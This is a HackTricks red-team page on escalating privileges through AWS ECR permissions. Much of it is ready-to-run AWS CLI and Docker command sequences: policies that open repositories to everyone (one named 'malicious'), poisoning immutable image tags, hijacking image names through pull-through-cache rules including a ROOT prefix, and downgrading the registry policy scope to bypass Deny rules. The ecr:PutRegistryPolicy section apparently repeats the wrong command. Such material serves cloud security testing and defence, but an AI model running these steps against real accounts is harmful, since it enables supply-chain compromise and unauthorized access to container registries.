AWS - ECR Privesc

Reading time: 9 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

An attacker with the ecr:GetAuthorizationToken and ecr:BatchGetImage can login to ECR and download images.

For more info on how to download images:

AWS - ECR Post Exploitation

Potential Impact: Indirect privesc by intercepting sensitive information in the traffic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

An attacker with the all those permissions can login to ECR and upload images. This can be useful to escalate privileges to other environments where those images are being used.

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Like the previous section, but for public repositories.

ecr:SetRepositoryPolicy

An attacker with this permission could change the repository policy to grant himself (or even everyone) read/write access.
For example, in this example read access is given to everyone.

bash
aws ecr set-repository-policy \
    --repository-name <repo_name> \
    --policy-text file://my-policy.json

Contents of my-policy.json:

json
{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Sid": "allow public pull",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr:BatchCheckLayerAvailability",
        "ecr:BatchGetImage",
        "ecr:GetDownloadUrlForLayer"
      ]
    }
  ]
}

ecr-public:SetRepositoryPolicy

Like the previoous section, but for public repositories.
An attacker can modify the repository policy of an ECR Public repository to grant unauthorized public access or to escalate their privileges.

bash
# Create a JSON file with the malicious public repository policy
echo '{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Sid": "MaliciousPublicRepoPolicy",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr-public:GetDownloadUrlForLayer",
        "ecr-public:BatchGetImage",
        "ecr-public:BatchCheckLayerAvailability",
        "ecr-public:PutImage",
        "ecr-public:InitiateLayerUpload",
        "ecr-public:UploadLayerPart",
        "ecr-public:CompleteLayerUpload",
        "ecr-public:DeleteRepositoryPolicy"
      ]
    }
  ]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potential Impact: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.

ecr:PutRegistryPolicy

An attacker with this permission could change the registry policy to grant himself, his account (or even everyone) read/write access.

bash
aws ecr set-repository-policy \
    --repository-name <repo_name> \
    --policy-text file://my-policy.json

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ecr:CreatePullThroughCacheRule

Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR.

  • Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
  • Tested upstream: public.ecr.aws

Steps (example):

  1. Prepare attacker image in ECR Public

    Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1

    docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  2. Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

  3. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.

ecr:PutImageTagMutability

Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content.

  • Required perms: ecr:PutImageTagMutability plus push capabilities (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.

Steps (example):

Poison an immutable tag by toggling mutability
bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod

Global registry hijack via ROOT Pull-Through Cache rule

Create a Pull-Through Cache (PTC) rule using the special ecrRepositoryPrefix=ROOT to map the root of the private ECR registry to an upstream public registry (e.g., ECR Public). Any pull to a non-existent repository in the private registry will be transparently served from upstream, enabling supply-chain hijacking without pushing to private ECR.

  • Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Impact: Pulls to <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> succeed and auto-create private repos sourced from upstream.

Note: For ROOT rules, omit --upstream-repository-prefix. Supplying it will cause a validation error.

Demo (us-east-1, upstream public.ecr.aws)
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
  --region "$REGION" \
  --ecr-repository-prefix ROOT \
  --upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
  --query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true

ecr:PutAccountSetting (Downgrade REGISTRY_POLICY_SCOPE to bypass registry policy denies)

Abuse ecr:PutAccountSetting to switch the registry policy scope from V2 (policy applied to all ECR actions) to V1 (policy applied only to CreateRepository, ReplicateImage, BatchImportUpstreamImage). If a restrictive registry policy Deny blocks actions like CreatePullThroughCacheRule, downgrading to V1 removes that enforcement so identity‑policy Allows take effect.

  • Required perms: ecr:PutAccountSetting, ecr:PutRegistryPolicy, ecr:GetRegistryPolicy, ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule.
  • Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., create PTC rules) by temporarily setting scope to V1.

Steps (example):

Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyPTCAll",
      "Effect": "Deny",
      "Principal": "*",
      "Action": ["ecr:CreatePullThroughCacheRule"],
      "Resource": "*"
    }
  ]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
  --region $REGION \
  --ecr-repository-prefix ptc-deny-test \
  --upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
  --region $REGION \
  --ecr-repository-prefix ptc-deny-test \
  --upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
  --query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
  jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
  aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
  aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION